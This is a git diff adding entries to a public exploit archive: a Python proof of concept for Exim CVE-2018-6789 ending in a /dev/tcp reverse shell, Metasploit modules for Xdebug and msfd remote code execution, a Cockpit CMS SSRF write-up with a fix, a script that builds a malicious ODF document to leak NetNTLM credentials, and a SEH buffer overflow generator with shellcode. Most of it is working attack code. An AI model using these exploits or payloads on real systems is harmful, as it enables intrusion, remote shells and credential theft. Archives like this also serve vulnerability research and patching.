diff --git a/exploits/linux/remote/44571.py b/exploits/linux/remote/44571.py new file mode 100755 index 000000000..93cb2cba0 --- /dev/null +++ b/exploits/linux/remote/44571.py @@ -0,0 +1,95 @@ +#!/usr/bin/python +import time +import socket +import struct +s = None +f = None +def logo(): + print + print " CVE-2018-6789 Poc Exploit" + print "@straight_blast ; straightblast426@gmail.com" + print +def connect(host, port): + global s + global f + s = socket.create_connection((host,port)) + f = s.makefile('rw', bufsize=0) +def p(v): + return struct.pack("& /dev/tcp/" + local_host + "/" + str(local_port) + " 0>&1\"" + cmd_expansion_string = "${run{" + cmd + "}}\0" + auth_plain("J" * acl_smtp_rcpt_offset + cmd_expansion_string + "J" * (8200 - acl_smtp_rcpt_offset - len(cmd_expansion_string))) + print "[10] malloced ACL store block and overwrite the content of 'acl_smtp_rcpt' with shell expression" + + write("MAIL FROM:") + readuntil("OK") + write("RCPT TO:") + print "[11] triggered RCPT TO and executing shell expression ... enjoy your shell!" + print +if __name__ == '__main__': + exploit() \ No newline at end of file diff --git a/exploits/multiple/dos/44566.html b/exploits/multiple/dos/44566.html new file mode 100644 index 000000000..f1d0af17f --- /dev/null +++ b/exploits/multiple/dos/44566.html @@ -0,0 +1,184 @@ + + + + + + + + + \ No newline at end of file diff --git a/exploits/php/remote/44568.rb b/exploits/php/remote/44568.rb new file mode 100755 index 000000000..0f8edcb0b --- /dev/null +++ b/exploits/php/remote/44568.rb @@ -0,0 +1,114 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient + include Rex::Proto::Http + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'xdebug Unauthenticated OS Command Execution', + 'Description' => %q{ + Module exploits a vulnerability in the eval command present in Xdebug versions 2.5.5 and below. + This allows the attacker to execute arbitrary php code as the context of the web user. + }, + 'DisclosureDate' => 'Sep 17 2017', + 'Author' => [ + 'Ricter Zheng', #Discovery https://twitter.com/RicterZ + 'Shaksham Jaiswal', # MinatoTW + 'Mumbai' # Austin Hudson + ], + 'References' => [ + ['URL', 'https://redshark1802.com/blog/2015/11/13/xpwn-exploiting-xdebug-enabled-servers/'], + ['URL', 'https://paper.seebug.org/397/'] + ], + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => [ARCH_PHP], + 'DefaultTarget' => 0, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'DefaultOptions' => { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp' + }, + 'Payload' => { + 'DisableNops' => true, + }, + 'Targets' => [[ 'Automatic', {} ]], + )) + + register_options([ + OptString.new('PATH', [ true, "Path to target webapp", "/index.php"]), + OptAddress.new('SRVHOST', [ true, "Callback host for accepting connections", "0.0.0.0"]), + OptInt.new('SRVPORT', [true, "Port to listen for the debugger", 9000]), + Opt::RPORT(80), + OptString.new('WriteableDir', [ true, "A writeable directory on the target", "/tmp"]) + ]) + end + + def check + begin + res = send_request_cgi({ + 'uri' => datastore["PATH"], + 'method' => 'GET', + 'vars_get' => { + 'XDEBUG_SESSION_START' => rand_text_alphanumeric(10) + } + }) + vprint_status "Request sent\n#{res.headers}" + if res && res.headers.to_s =~ /XDEBUG/i + vprint_good("Looks like remote server has xdebug enabled\n") + return CheckCode::Detected + else + return CheckCode::Safe + end + rescue Rex::ConnectionError + return CheckCode::Unknown + end + end + + def exploit + payl = Rex::Text.encode_base64("#{payload.encoded}") + file = "#{datastore['WriteableDir']}"+"/"+rand_text_alphanumeric(5) + cmd1 = "eval -i 1 -- " + Rex::Text.encode_base64("file_put_contents(\"#{file}\",base64_decode(\"#{payl}\")) && system(\" php #{file} \")") + "\x00" + webserver = Thread.new do + begin + server = Rex::Socket::TcpServer.create( + 'LocalPort' => datastore['SRVPORT'], + 'LocalHost' => datastore['SRVHOST'], + 'Context' => { + 'Msf' => framework, + 'MsfExploit' => self + }) + + client = server.accept + print_status("Waiting for client response.") + data = client.recv(1024) + print_status("Receiving response") + vprint_line(data) + print_status("Shell might take upto a minute to respond.Please be patient.") + print_status("Sending payload of size #{cmd1.length} bytes") + register_file_for_cleanup(file) + client.write(cmd1) + client.close + server.close + webserver.exit + ensure + webserver.exit + end + end + send_request_cgi({ + 'uri' => datastore['PATH'], + 'method' => 'GET', + 'headers' => { + 'X-Forwarded-For' => "#{lhost}", + 'Cookie' => 'XDEBUG_SESSION='+rand_text_alphanumeric(10) + } + }) + end +end \ No newline at end of file diff --git a/exploits/php/remote/44557.rb b/exploits/php/webapps/44557.rb similarity index 100% rename from exploits/php/remote/44557.rb rename to exploits/php/webapps/44557.rb diff --git a/exploits/php/webapps/44567.txt b/exploits/php/webapps/44567.txt new file mode 100644 index 000000000..cfa092e35 --- /dev/null +++ b/exploits/php/webapps/44567.txt @@ -0,0 +1,92 @@ +# SSRF（Server Side Request Forgery） in Cockpit 0.4.4-0.5.5 (CVE-2018-9302) + +Cockpit CMS repairs CVE-2017-14611, but it can be bypassed, SSRF still exist, affecting the Cockpit CMS 0.4.4-0.5.5 versions.I've been tested success of "Cockpit CMS" lastest version. + +## Product Download: Cockpit (https://getcockpit.com) + +## Vulnerability Type：SSRF（Server Side Request Forgery） + +## Attack Type : Remote + +## Vulnerability Description + +You can edit a .php file on own server. The .php file's code example: + + + +## Exploit +Request: + + GET /assets/lib/fuc.js.php?url=http://myserver/redirect.php HTTP/1.1 + Host: myserver + Connection: close + Cache-Control: max-age=0 + Upgrade-Insecure-Requests: 1 + User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 + Accept-Language: zh-CN,zh;q=0.8 + referer:http://myserver/index.php + + +Modify the redirect.php file on the attacker's server.example: + + +If the curl function is available,then use gopher、tftp、http、https、dict、ldap、imap、pop3、smtp、telnet protocols method，if not then only use http、https、ftp protocol +scan prot,example: + +If the curl function is unavailable,this vulnerability trigger need allow_url_fopen option is enable in php.ini，allow_url_fopen option defualt is enable. + +## Versions + +Product: Cockpit CMS 0.4.4-0.5.5 + +## Impact + +SSRF (Server Side Request Forgery) in /assets/lib/fuc.js.php in Cockpit 0.4.4 through 0.5.5 allows remote attackers to read arbitrary files or send TCP traffic to intranet hosts via the url parameter. + +## Fix Code + +The fix code example： + + $url = $_REQUEST['url']; + $content = null; + if (!filter_var($url, FILTER_VALIDATE_URL)) { + + header('HTTP/1.0 400 Bad Request'); + return; + } + + // allow only http requests + if (!preg_match('#^http(|s)\://#', $url)) { + header('HTTP/1.0 403 Forbidden'); + return; + } + preg_match('/https*:\/\/(.+)/', $url, $matches); + $host= count($matches) > 1 ? $matches[1] : ''; + $ip = gethostbyname($host); + //check private ip + if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) { + return + } + +and modify the line 48 : + + curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 0); + +## Credit + +This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang & National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC) + +## References + +CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9302 + +### Timeline: + +2018-04-03 Found Cockpit CMS vulnerability. + +2018-04-04 Submit vulnerability information to developers. + +2018-04-05 Submit CVE-ID request + +2018-04-28 Vendor no response, Public vulnerability information,Please Fix it. \ No newline at end of file diff --git a/exploits/ruby/remote/44569.rb b/exploits/ruby/remote/44569.rb new file mode 100755 index 000000000..0ea48a3a2 --- /dev/null +++ b/exploits/ruby/remote/44569.rb @@ -0,0 +1,77 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Metasploit msfd Remote Code Execution via Browser', + 'Description' => %q{ + Metasploit's msfd-service makes it possible to get a msfconsole-like + interface over a TCP socket. This module connects to the msfd-socket + through the victim's browser. + + To execute msfconsole-commands in JavaScript from a web application, + this module places the payload in the POST-data. These POST-requests + can be sent cross-domain and can therefore be sent to localhost on the + victim's machine. The msfconsole-command to execute code is 'rbi -e + "CODE"'. + + Exploitation when the browser is running on Windows is unreliable and + the exploit is only usable when IE is used and the quiet-flag has been + passed to msf-daemon. + }, + 'License' => BSD_LICENSE, + 'Author' => 'Robin Stenvi ', + 'Platform' => 'ruby', + 'Arch' => ARCH_RUBY, + 'Targets' => + [ + [ 'Automatic', {}], + ], + 'Payload' => + { + 'Space' => 8192, # Arbitrary limit + 'DisableNops' => 'True', + 'BadChars' => "\x22\x0a" + }, + 'DisclosureDate' => 'Apr 11 2018', # Vendor notification + 'DefaultTarget' => 0)) + + register_options([ + OptString.new('REMOTE_IP', [true, 'Remote IP address when called from victim', '127.0.0.1']), + OptString.new('REMOTE_PORT', [true, 'Remote port the service is running at', '55554']) + ]) + end + + def exploit + super + end + + def on_request_uri(cli, request) + msg = "#{cli.peerhost.ljust(16)} #{self.shortname}" + sc = payload.encoded + shellcode = "\\x" + sc.unpack('U'*sc.length).collect {|x| x.to_s 16}.join("\\x") + var1 = rand_text_alpha(rand(6..11)) + var2 = rand_text_alpha(rand(6..11)) + html = <<-EOS + + + + + + +EOS + print_status("#{msg} Sending HTML...") + send_response(cli, html, { 'Content-Type' => 'text/html' }) + end +end \ No newline at end of file diff --git a/exploits/ruby/remote/44570.rb b/exploits/ruby/remote/44570.rb new file mode 100755 index 000000000..8d8cd35aa --- /dev/null +++ b/exploits/ruby/remote/44570.rb @@ -0,0 +1,66 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Metasploit msfd Remote Code Execution', + 'Description' => %q{ + Metasploit's msfd-service makes it possible to get a msfconsole-like + interface over a TCP socket. If this socket is accessible on a remote + interface, an attacker can execute commands on the victim's machine. + + If msfd is running with higher privileges than the current local user, + this module can also be used for privilege escalation. In that case, + port forwarding on the compromised host can be used. + + Code execution is achieved with the msfconsole command: irb -e 'CODE'. + }, + 'Author' => 'Robin Stenvi ', + 'License' => BSD_LICENSE, + 'Platform' => "ruby", + 'Arch' => ARCH_RUBY, + 'Payload' => + { + 'Space' => 8192, # Arbitrary limit + 'BadChars' => "\x27\x0a", + 'DisableNops' => true + }, + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Apr 11 2018', # Vendor notification + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(55554) + ]) + end + + def check + connect + data = sock.get_once + if data.include?("msf") + disconnect + return Exploit::CheckCode::Appears + end + disconnect + return Exploit::CheckCode::Unknown + end + + def exploit + connect + sock.get_once + sock.put "irb -e '" + payload.encoded + "'\n" + disconnect + end +end \ No newline at end of file diff --git a/exploits/windows/local/44564.py b/exploits/windows/local/44564.py new file mode 100755 index 000000000..3475ab5cd --- /dev/null +++ b/exploits/windows/local/44564.py @@ -0,0 +1,75 @@ +#! /usr/bin/python + +# Exploit Title: Malicious ODF File Creator +# Date: 1st May 2018 +# Exploit Author: Richard Davy +# Vendor Homepage: https://www.libreoffice.org/ +# Software Link: https://www.libreoffice.org/ +# Version: LibreOffice 6.0.3, OpenOffice 4.1.5 +# Tested on: Windows 10 +# +#Quick script/POC code to create a malicious ODF which can be used to leak NetNTLM credentials +#Usage - Setup responder or similar create a malicious file and point to listener. +#Works against LibreOffice 6.03 and OpenOffice 4.1.5 +# +# + +try: + from ezodf import newdoc +except ImportError: + print ('ezodf appears to be missing - try: pip install ezodf') + exit(1) + +import os +import zipfile +import base64 + +print """ + ____ __ ____ ____ ______ + / __ )____ _____/ / / __ \/ __ \/ ____/ + / __ / __ `/ __ /_____/ / / / / / / /_ + / /_/ / /_/ / /_/ /_____/ /_/ / /_/ / __/ +/_____/\__,_/\__,_/ \____/_____/_/ + +""" +print "Create a malicious ODF document help leak NetNTLM Creds" +print "\nBy Richard Davy " +print "@rd_pentest" +print "www.secureyourit.co.uk\n" + +#Create a blank ODT file +namef = "temp.odt" +odt = newdoc(doctype='odt', filename=namef) +odt.save() + +#Create our modified content.xml file +contentxml1="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxvZmZpY2U6ZG9jdW1lbnQtY29udGVudCB4bWxuczpvZmZpY2U9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2ZmaWNlOjEuMCIgeG1sbnM6c3R5bGU9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6c3R5bGU6MS4wIiB4bWxuczp0ZXh0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnRleHQ6MS4wIiB4bWxuczp0YWJsZT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczp0YWJsZToxLjAiIHhtbG5zOmRyYXc9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6ZHJhd2luZzoxLjAiIHhtbG5zOmZvPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnhzbC1mby1jb21wYXRpYmxlOjEuMCIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6bWV0YT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczptZXRhOjEuMCIgeG1sbnM6bnVtYmVyPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmRhdGFzdHlsZToxLjAiIHhtbG5zOnN2Zz0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpzdmctY29tcGF0aWJsZToxLjAiIHhtbG5zOmNoYXJ0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmNoYXJ0OjEuMCIgeG1sbnM6ZHIzZD0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpkcjNkOjEuMCIgeG1sbnM6bWF0aD0iaHR0cDovL3d3dy53My5vcmcvMTk5OC9NYXRoL01hdGhNTCIgeG1sbnM6Zm9ybT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpmb3JtOjEuMCIgeG1sbnM6c2NyaXB0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnNjcmlwdDoxLjAiIHhtbG5zOm9vbz0iaHR0cDovL29wZW5vZmZpY2Uub3JnLzIwMDQvb2ZmaWNlIiB4bWxuczpvb293PSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAwNC93cml0ZXIiIHhtbG5zOm9vb2M9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA0L2NhbGMiIHhtbG5zOmRvbT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS94bWwtZXZlbnRzIiB4bWxuczp4Zm9ybXM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDIveGZvcm1zIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczpycHQ9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA1L3JlcG9ydCIgeG1sbnM6b2Y9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2Y6MS4yIiB4bWxuczp4aHRtbD0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgeG1sbnM6Z3JkZGw9Imh0dHA6Ly93d3cudzMub3JnLzIwMDMvZy9kYXRhLXZpZXcjIiB4bWxuczpvZmZpY2Vvb289Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA5L29mZmljZSIgeG1sbnM6dGFibGVvb289Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA5L3RhYmxlIiB4bWxuczpkcmF3b29vPSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAxMC9kcmF3IiB4bWxuczpjYWxjZXh0PSJ1cm46b3JnOmRvY3VtZW50Zm91bmRhdGlvbjpuYW1lczpleHBlcmltZW50YWw6Y2FsYzp4bWxuczpjYWxjZXh0OjEuMCIgeG1sbnM6bG9leHQ9InVybjpvcmc6ZG9jdW1lbnRmb3VuZGF0aW9uOm5hbWVzOmV4cGVyaW1lbnRhbDpvZmZpY2U6eG1sbnM6bG9leHQ6MS4wIiB4bWxuczpmaWVsZD0idXJuOm9wZW5vZmZpY2U6bmFtZXM6ZXhwZXJpbWVudGFsOm9vby1tcy1pbnRlcm9wOnhtbG5zOmZpZWxkOjEuMCIgeG1sbnM6Zm9ybXg9InVybjpvcGVub2ZmaWNlOm5hbWVzOmV4cGVyaW1lbnRhbDpvb3htbC1vZGYtaW50ZXJvcDp4bWxuczpmb3JtOjEuMCIgeG1sbnM6Y3NzM3Q9Imh0dHA6Ly93d3cudzMub3JnL1RSL2NzczMtdGV4dC8iIG9mZmljZTp2ZXJzaW9uPSIxLjIiPjxvZmZpY2U6c2NyaXB0cy8+PG9mZmljZTpmb250LWZhY2UtZGVjbHM+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMdWNpZGEgU2FuczEiIHN2Zzpmb250LWZhbWlseT0iJmFwb3M7THVjaWRhIFNhbnMmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InN3aXNzIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMaWJlcmF0aW9uIFNlcmlmIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO0xpYmVyYXRpb24gU2VyaWYmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InJvbWFuIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iTGliZXJhdGlvbiBTYW5zIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO0xpYmVyYXRpb24gU2FucyZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3dpc3MiIHN0eWxlOmZvbnQtcGl0Y2g9InZhcmlhYmxlIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMdWNpZGEgU2FucyIgc3ZnOmZvbnQtZmFtaWx5PSImYXBvcztMdWNpZGEgU2FucyZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iTWljcm9zb2Z0IFlhSGVpIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO01pY3Jvc29mdCBZYUhlaSZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iU2ltU3VuIiBzdmc6Zm9udC1mYW1pbHk9IlNpbVN1biIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjwvb2ZmaWNlOmZvbnQtZmFjZS1kZWNscz48b2ZmaWNlOmF1dG9tYXRpYy1zdHlsZXM+PHN0eWxlOnN0eWxlIHN0eWxlOm5hbWU9ImZyMSIgc3R5bGU6ZmFtaWx5PSJncmFwaGljIiBzdHlsZTpwYXJlbnQtc3R5bGUtbmFtZT0iT0xFIj48c3R5bGU6Z3JhcGhpYy1wcm9wZXJ0aWVzIHN0eWxlOmhvcml6b250YWwtcG9zPSJjZW50ZXIiIHN0eWxlOmhvcml6b250YWwtcmVsPSJwYXJhZ3JhcGgiIGRyYXc6b2xlLWRyYXctYXNwZWN0PSIxIi8+PC9zdHlsZTpzdHlsZT48L29mZmljZTphdXRvbWF0aWMtc3R5bGVzPjxvZmZpY2U6Ym9keT48b2ZmaWNlOnRleHQ+PHRleHQ6c2VxdWVuY2UtZGVjbHM+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJJbGx1c3RyYXRpb24iLz48dGV4dDpzZXF1ZW5jZS1kZWNsIHRleHQ6ZGlzcGxheS1vdXRsaW5lLWxldmVsPSIwIiB0ZXh0Om5hbWU9IlRhYmxlIi8+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJUZXh0Ii8+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJEcmF3aW5nIi8+PC90ZXh0OnNlcXVlbmNlLWRlY2xzPjx0ZXh0OnAgdGV4dDpzdHlsZS1uYW1lPSJTdGFuZGFyZCIvPjx0ZXh0OnAgdGV4dDpzdHlsZS1uYW1lPSJTdGFuZGFyZCI+PGRyYXc6ZnJhbWUgZHJhdzpzdHlsZS1uYW1lPSJmcjEiIGRyYXc6bmFtZT0iT2JqZWN0MSIgdGV4dDphbmNob3ItdHlwZT0icGFyYWdyYXBoIiBzdmc6d2lkdGg9IjE0LjEwMWNtIiBzdmc6aGVpZ2h0PSI5Ljk5OWNtIiBkcmF3OnotaW5kZXg9IjAiPjxkcmF3Om9iamVjdCB4bGluazpocmVmPSJmaWxlOi8v" +contentxml2=raw_input("\nPlease enter IP of listener: ") +contentxml3="L3Rlc3QuanBnIiB4bGluazp0eXBlPSJzaW1wbGUiIHhsaW5rOnNob3c9ImVtYmVkIiB4bGluazphY3R1YXRlPSJvbkxvYWQiLz48ZHJhdzppbWFnZSB4bGluazpocmVmPSIuL09iamVjdFJlcGxhY2VtZW50cy9PYmplY3QgMSIgeGxpbms6dHlwZT0ic2ltcGxlIiB4bGluazpzaG93PSJlbWJlZCIgeGxpbms6YWN0dWF0ZT0ib25Mb2FkIi8+PC9kcmF3OmZyYW1lPjwvdGV4dDpwPjwvb2ZmaWNlOnRleHQ+PC9vZmZpY2U6Ym9keT48L29mZmljZTpkb2N1bWVudC1jb250ZW50Pg==" + +fileout=base64.b64decode(contentxml1)+contentxml2+base64.b64decode(contentxml3) + +text_file = open("content.xml", "w") +text_file.write(fileout) +text_file.close() + +#Create a copy of the blank odt file without the content.xml file in (odt files are basically a zip) +zin = zipfile.ZipFile ('temp.odt', 'r') +zout = zipfile.ZipFile ('bad.odt', 'w') +for item in zin.infolist(): + buffer = zin.read(item.filename) + if (item.filename != 'content.xml'): + zout.writestr(item, buffer) +zout.close() +zin.close() + +#Add our modified content.xml file to our odt file +zf = zipfile.ZipFile('bad.odt', mode='a') +try: + zf.write('content.xml', arcname='content.xml') +finally: + zf.close() + +#Clean up temp files +os.remove("content.xml") +os.remove("temp.odt") \ No newline at end of file diff --git a/exploits/windows/local/44565.py b/exploits/windows/local/44565.py new file mode 100755 index 000000000..8e44367b9 --- /dev/null +++ b/exploits/windows/local/44565.py @@ -0,0 +1,41 @@ +#!/usr/bin/python + +# Exploit Title: Easy MPEG to DVD Burner 1.7.11 SEH Local Buffer Overflow +# Date: 2018-05-02 +# Exploit Author: Marwan Shamel +# Software Link: https://downloads.tomsguide.com/MPEG-Easy-Burner,0301-10418.html +# Version: 1.7.11 +# Tested on: Windows 7 Enterprise SP1 32 bit +# Special thanks to my wife +# Steps : Open the APP > click on register > Username field > just paste watever generated from python script in the txt file. + +junk = "\x42" * 1008 +# below shell code will open calc.exe can be changed according to your needs just make sure to avoid bad chars x0d x00 x0a +evil = "" +evil += "\xda\xd7\xd9\x74\x24\xf4\xba\x07\xc8\xf9\x11\x5e\x2b" +evil += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xee\xfb\x2a" +evil += "\x0c\xed\xeb\x29\xef\x0e\xeb\x4d\x79\xeb\xda\x4d\x1d" +evil += "\x7f\x4c\x7e\x55\x2d\x60\xf5\x3b\xc6\xf3\x7b\x94\xe9" +evil += "\xb4\x36\xc2\xc4\x45\x6a\x36\x46\xc5\x71\x6b\xa8\xf4" +evil += "\xb9\x7e\xa9\x31\xa7\x73\xfb\xea\xa3\x26\xec\x9f\xfe" +evil += "\xfa\x87\xd3\xef\x7a\x7b\xa3\x0e\xaa\x2a\xb8\x48\x6c" +evil += "\xcc\x6d\xe1\x25\xd6\x72\xcc\xfc\x6d\x40\xba\xfe\xa7" +evil += "\x99\x43\xac\x89\x16\xb6\xac\xce\x90\x29\xdb\x26\xe3" +evil += "\xd4\xdc\xfc\x9e\x02\x68\xe7\x38\xc0\xca\xc3\xb9\x05" +evil += "\x8c\x80\xb5\xe2\xda\xcf\xd9\xf5\x0f\x64\xe5\x7e\xae" +evil += "\xab\x6c\xc4\x95\x6f\x35\x9e\xb4\x36\x93\x71\xc8\x29" +evil += "\x7c\x2d\x6c\x21\x90\x3a\x1d\x68\xfe\xbd\x93\x16\x4c" +evil += "\xbd\xab\x18\xe0\xd6\x9a\x93\x6f\xa0\x22\x76\xd4\x5e" +evil += "\x69\xdb\x7c\xf7\x34\x89\x3d\x9a\xc6\x67\x01\xa3\x44" +evil += "\x82\xf9\x50\x54\xe7\xfc\x1d\xd2\x1b\x8c\x0e\xb7\x1b" +evil += "\x23\x2e\x92\x7f\xa2\xbc\x7e\xae\x41\x45\xe4\xae" + + + +nSEH = "\xeb\x0C\x90\x90" #Jmp short 14 (EB0C) +SEH = "\xae\x4a\x01\x10" #pop ebp # pop ebx # ret (DLL have ASLR,safeSEH,rebase off) +nop = "\x90" * 16 +data = junk + nSEH + SEH + nop + evil +f = open ("Evil.txt", "w") +f.write(data) +f.close() \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 64c742a22..6996df1aa 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -5957,6 +5957,7 @@ id,file,description,date,author,type,platform,port 44558,exploits/windows/dos/44558.py,"Navicat < 12.0.27 - Oracle Connection Overflow",2018-04-30,"Kevin McGuigan",dos,windows, 44561,exploits/macos/dos/44561.txt,"Apple macOS 10.13.2 - Double mach_port_deallocate in kextd due to Failure to Comply with MIG Ownership Rules",2018-04-30,"Google Security Research",dos,macos, 44562,exploits/multiple/dos/44562.c,"Apple macOS/iOS - ReportCrash mach port Replacement due to Failure to Respect MIG Ownership Rules",2018-04-30,"Google Security Research",dos,multiple, +44566,exploits/multiple/dos/44566.html,"WebKit - 'WebCore::jsElementScrollHeightGetter' Use-After-Free",2018-05-02,"Google Security Research",dos,multiple, 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux, 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris, 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux, @@ -9688,6 +9689,8 @@ id,file,description,date,author,type,platform,port 44518,exploits/windows/local/44518.py,"Allok Video to DVD Burner 2.6.1217 - Buffer Overflow (SEH)",2018-04-24,T3jv1l,local,windows, 44523,exploits/linux/local/44523.rb,"lastore-daemon D-Bus - Privilege Escalation (Metasploit)",2018-04-24,Metasploit,local,linux, 44549,exploits/windows/local/44549.py,"Allok AVI to DVD SVCD VCD Converter 4.0.1217 - Buffer Overflow (SEH)",2018-04-26,T3jv1l,local,windows, +44564,exploits/windows/local/44564.py,"LibreOffice/Open Office - '.odt' Information Disclosure",2018-05-02,"Richard Davy",local,windows, +44565,exploits/windows/local/44565.py,"Easy MPEG to DVD Burner 1.7.11 - Local Buffer Overflow (SEH)",2018-05-02,"Marwan Shamel",local,windows, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139 @@ -16441,13 +16444,16 @@ id,file,description,date,author,type,platform,port 44482,exploits/php/remote/44482.rb,"Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit)",2018-04-17,"José Ignacio Rojo",remote,php,80 44485,exploits/windows/remote/44485.py,"Easy File Sharing Web Server 7.2 - 